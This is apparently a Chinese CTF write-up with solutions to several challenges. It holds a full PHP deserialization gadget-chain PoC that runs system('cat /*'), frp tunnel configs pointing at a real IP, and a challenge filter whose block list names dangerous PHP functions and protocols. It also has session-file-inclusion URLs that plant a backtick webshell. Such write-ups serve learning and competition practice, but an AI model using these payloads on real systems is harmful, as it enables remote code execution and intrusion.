ezyii

先知上有：https://xz.aliyun.com/t/9948#toc-6

poc:

```
<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
```

```
            $a = function(){system('cat /*');};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}
```

层层穿透

flink 未授权rce

https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Apache/Apache-flink%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E4%BB%BB%E6%84%8Fjar%E5%8C%85%E4%B8%8A%E4%BC%A0%E5%8F%8D%E5%BC%B9shell/README.MD

frp外带

frps

```
[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = test123
```

frpc

```
[common]
server_addr = 121.4.124.62
server_port = 7000
token = test

[socks5]
type = tcp
remote_port = 8010
plugin = socks5
```

https://tari.moe/2021/05/23/2021gd-university-ctf/

安全检测

/admin访问403 ssrf访问发现include123.php

```
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern
.="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern
.="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了，饮茶先
```

```php
$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
    if (preg_match( "/$value/i", $u )){
        echo "检测到恶意字符";
        exit(0);
    }
}

include($u);


show_source(__FILE__);
?>
```

有个文件包含 包含session 发现把请求的url放到session里了 直接

```
http://127.0.0.1/admin/include123.php?
u=/tmp/sess_9e201a6b78fd9c3fe732b00d3177cde2&1=<?=`$_GET[1]`?>&1=ls%09/

http://127.0.0.1/admin/include123.php?
u=/tmp/sess_9e201a6b78fd9c3fe732b00d3177cde2&1=<?=`$_GET[1]`?>&1=/get????.sh
```